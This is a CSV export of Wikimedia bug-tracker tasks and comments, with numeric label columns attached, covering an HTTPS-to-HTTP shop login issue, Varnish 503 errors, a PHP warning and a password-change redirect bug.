+292279,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"Hi Andre,
+
+Thanks for the ping. I just updated bug 37790. In short, Shopify wasn't able to help us in the way we had hoped, so we're trying to get fr-tech to work on it. We need to work on getting some more technical resources for the shop specifically, and hope to see that happening this summer.",,,1402936043,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-55,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0
+292275,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"Hi Caitlin, any news/progress here, as this ticket was called the ""main focus"" in bug 37790 three months ago?",,,1402867891,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-55,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0
+292268,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"I wasn't aware of this bug, so thanks for pointing it out! I'm going to talk with James Alexander and the people at Shopify to find out what has already been done to work on this and what we can do.",,,1392774470,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+292260,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"(In reply to MZMcBride from comment #1)
+> Or just require HTTPS (cf. bug 37790).
+
+Yup. But if not then at least do this.",,,1392774329,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1
+292251,shop switches HTTPS -> HTTP when showing login prompt (on clicking checkout),"(In reply to jeremyb from comment #0)
+> Once a user is on HTTPS, keep them there.
+
+Or just require HTTPS (cf. bug 37790).",,,1392774238,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-z3erhatdd4e5dynio6hl,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1
+63364,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Original bug tilte:
+Server error on http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page
+
+That page you are sent to by Google when searching for ""wikimania 2014"".
+
+The page reads as follows:
+
+Wikimedia Foundation
+Error
+
+Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+If you report this error to the Wikimedia System Administrators, please include the details below.
+Request: GET http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page, from 91.198.174.67 via amssq57 amssq57 ([91.198.174.67]:3128), Varnish XID 922288847
+Forwarded for: 217.186.201.65, 91.198.174.67
+Error: 503, Service Unavailable at Fri, 14 Feb 2014 08:46:27 GMT
+
+
+
+Note that https://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page
+works
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major",High,80.0,1392367620,1392376214.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-ccqzivnqqqyzswrui3zt,task_description,resolved,True,c3,1,False,False,True,-72,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+283783,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Thanks for handling this so quickly and keeping this ticket updated!
+(I had the same issue yesterday late night on fr.wp.)",,,1392386953,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+283779,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),*** Bug 61365 has been marked as a duplicate of this bug. ***,,,1392386756,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+283777,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Mark restarted Varnish backend on amssq57, and things work again.
+
+Thanks, Mark!",,,1392376214,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+283774,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"Although they failed for me (using European host) when the bug was filed,
+both of
+
+  http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page
+  http://en.wikipedia.org/wiki/Selberg_sieve
+
+are now working again for me (using the same European host).",,,1392376047,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0
+283771,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"**socket0** wrote:
+
+I can also reproduce the problem from Europe (also server amssq57). HTTP gets an error, HTTPS works. 
+
+> Request: GET http://wikimania2014.wikimedia.org/wiki/Special:MyLanguage/Main_Page, from 91.198.174.68 via amssq57 amssq57 ([91.198.174.67]:3128), Varnish XID 928287430
+> Forwarded for: ***.***.***.***, 91.198.174.68
+> Error: 503, Service Unavailable at Fri, 14 Feb 2014 10:32:22 GMT",,,1392374103,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+283766,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"I can reproduce the problem on HTTP, but cannot reproduce on HTTPS (as in: the page works). Connecting from a host in Europe, through the same server (amssq57).",,,1392371380,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,False,,,-72,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+283761,HTTP error 503 while trying to view a page (Wikimania 2014; en.wp; fr.wp),"http://en.wikipedia.org/wiki/Selberg_sieve  succeeds for me from a host in the US (logged out) and fails from a host in Europe (both logged out and logged in) with the 503 error message.
+https://en.wikipedia.org/wiki/Selberg_sieve succeeds from a host in Europe, both logged out and logged in.",,,1392371060,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-ccqzivnqqqyzswrui3zt,task_subcomment,,True,c3,1,True,,,-72,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+62003,HTTP 503 error when requesting linked data for large entities,"**Author:** `jclarke`
+
+**Description:**
+For some entities using Wikidata's Special:EntityData linked data URIs return HTTP 503.
+
+$ curl -I https://www.wikidata.org/wiki/Special:EntityData/Q30.json
+HTTP/1.1 503 Service Unavailable
+
+$ curl -I https://www.wikidata.org/wiki/Special:EntityData/Q30.nt
+HTTP/1.1 503 Service Unavailable
+
+$ curl -I https://www.wikidata.org/wiki/Special:EntityData/Q30.rdf
+HTTP/1.1 503 Service Unavailable
+
+Access via api.php works fine:
+
+$ curl -I ""https://www.wikidata.org/w/api.php?action=wbgetentities&ids=q30&format=json""
+HTTP/1.1 200 OK
+
+Other examples:
+
+ * Q30
+ * Q148
+ * Q145
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**Whiteboard**: varnish u=dev c=infrastructure p=0",High,80.0,1389628320,1399410357.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-pzlcltxrp64b4qmut2ml,task_description,resolved,True,c3,1,False,False,True,-77,True,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+281643,HTTP 503 error when requesting linked data for large entities,"Change 131746 merged by jenkins-bot:
+Don't set Content-Length in EntityDataRequestHandler
+
+https://gerrit.wikimedia.org/r/131746",,,1399410278,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,False,,,-61,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+281636,HTTP 503 error when requesting linked data for large entities,"Change 131746 had a related patch set uploaded by Hoo man:
+Don't set Content-Length in EntityDataRequestHandler
+
+https://gerrit.wikimedia.org/r/131746",,,1399398589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,False,,,-61,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+281627,HTTP 503 error when requesting linked data for large entities,"Varnish 503s with this error message:
+
+  170 FetchError   c straight insufficient bytes
+
+which I think is a problem with compression that we've seen before. See if this varies whether or not you send an Accept-Encoding header of gzip/deflate or not?",,,1399396822,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,False,,,-61,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+281621,HTTP 503 error when requesting linked data for large entities,"This indeed is a varnish problem, fetching the data directly from one of the apache's works fine (and fast).",,,1399232316,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-61,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+281615,HTTP 503 error when requesting linked data for large entities,"According to Katie, it's a problem with Varnish:
+
+  [18:31] <aude> DanielK_WMDE: it says ""Varnish XID 2665166859""
+  [18:32] <aude> tells me it probably is varnish
+  [18:33] <aude> it's a text varnish cache
+  [18:33] <aude> cp1065.eqiad.wmnet
+
+So I suppose we'll have to ask Mark about it.",,,1391711425,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+281610,HTTP 503 error when requesting linked data for large entities,"the error is:
+
+Request: GET http://www.wikidata.org/wiki/Special:EntityData/Q30.json, from 10.64.0.102 via cp1065 cp1065 ([10.64.0.102]:3128), Varnish XID 2665166859<br/>Forwarded for: 87.138.110.76, 91.198.174.103, 208.80.154.77, 10.64.0.102<br/>Error: 503, Service Unavailable at Thu, 06 Feb 2014 17:30:26 GMT
+
+seems to come from varnish.  Maybe we are hitting some memory or other limit?",,,1391709529,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-73,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+281607,HTTP 503 error when requesting linked data for large entities,"So, according to Chris & Chad, since this error doesn't show in fatal.log, it's not an OutOfMemory error. And it's not a timeout either. We'll need assistance from someone with shell access to identify the problem.",,,1391707553,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-73,True,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+281603,HTTP 503 error when requesting linked data for large entities,"Hypothesis: large entities trigger an Out Out Memory error, because SpecialEntityData uses output buffering on the JSON, effectively doubling the memory footprint of the serialized entity.",,,1389699228,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-pzlcltxrp64b4qmut2ml,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+61880,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182","PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in /usr/local/apache/common-local/php-1.23wmf10/includes/libs/MultiHttpClient.php on line 182
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",High,80.0,1389298260,1389306055.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_description,resolved,True,c3,1,True,False,True,-77,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0
+274529,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182","(In reply to comment #4)
+> Appears to have been fixed in Gerrit change #106624.
+
+Thanks, I thought I linked that in a comment here...",,,1389321058,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+274526,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182",Appears to have been fixed in gerrit 106624.,,,1389320991,,PHID-USER-3ampiwske4lc434cm6ot,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,False,,,-77,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+274523,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182",Caused by https://gerrit.wikimedia.org/r/#/c/101226/ as WMF doesn't use PHP 5.4 yet,,,1389299075,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+274519,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182","$query = http_build_query( $req['query'], '', '&', PHP_QUERY_RFC3986 );
+
+function http_build_query (array $formdata, $numeric_prefix = null, $arg_separator = null, $enc_type = PHP_QUERY_RFC1738) {}
+
+http://www.php.net/manual/en/function.http-build-query.php
+
+PHP 5.4 - The enc_type parameter was added.",,,1389298983,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1
+274514,"PHP Warning:  http_build_query() expects at most 3 parameters, 4 given in MultiHttpClient.php on line 182",Quite a few of these spewing out,,,1389298847,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jpm6fhy6ugy3gowm6dhm,task_subcomment,,True,c3,1,True,,,-77,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+59289,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","* 1.23wmf3 (e2e9b85)
+
+Scenario:
+
++ en.wikipedia.org as of 2013-11-20
++ go to ""Reset Password"" page and trigger the I-forgot-my-passwort e-mail-password mail
++ come back to the login page
++ enter the temporary password
++ you are now correctly asked to change your password (=mandatory password change after login with temporary password)
++ after a successful password change you will see
+
+Bug:
+===
+
+page title after successful password change is (still): 
+
+""Change Password""
+
+URL is: 
+
+""https://en.wikipedia.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1""
+
+with unsuited information on it:
+
+""You must be logged in to access this page directly.""
+
+This is striclty reproducible.
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57098
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57065",High,80.0,1384939200,1385149062.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-jz2kosktxmdbzxu36qjm,task_description,resolved,True,c3,1,False,False,True,-85,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+268514,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change",Tyler: okay. I understand this from a discussion in the chat some minutes ago. ty,,,1385149287,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+268513,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","That's because the fix has not been deployed yet. However, the actual bug in question has been resolved in master.",,,1385149062,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+268511,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","In www.mediawiki,org : Not solved
+
+
+After changing the password, see http://i.imgur.com/7ADHPHH.png
+
+URL:
+
+https://www.mediawiki.org/w/index.php?title=Special:ChangePassword&returnto=&returntoquery=&fromhttp=1
+
+Problem is not solved, in my view.",,,1385146958,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+268509,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 merged by MarkAHershberger:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96994",,,1385136927,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268506,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96970 merged by MarkAHershberger:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96970",,,1385136549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+268502,"Invalid ""Change Password"" (returnto) page shown after successful temporary password login & password change","Change 96994 had a related patch set uploaded by MarkAHershberger:
+Fix login with temporary password with $wgSecureLogin = true
+
+https://gerrit.wikimedia.org/r/96994",,,1385131027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jz2kosktxmdbzxu36qjm,task_subcomment,,True,c3,1,False,,,-84,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
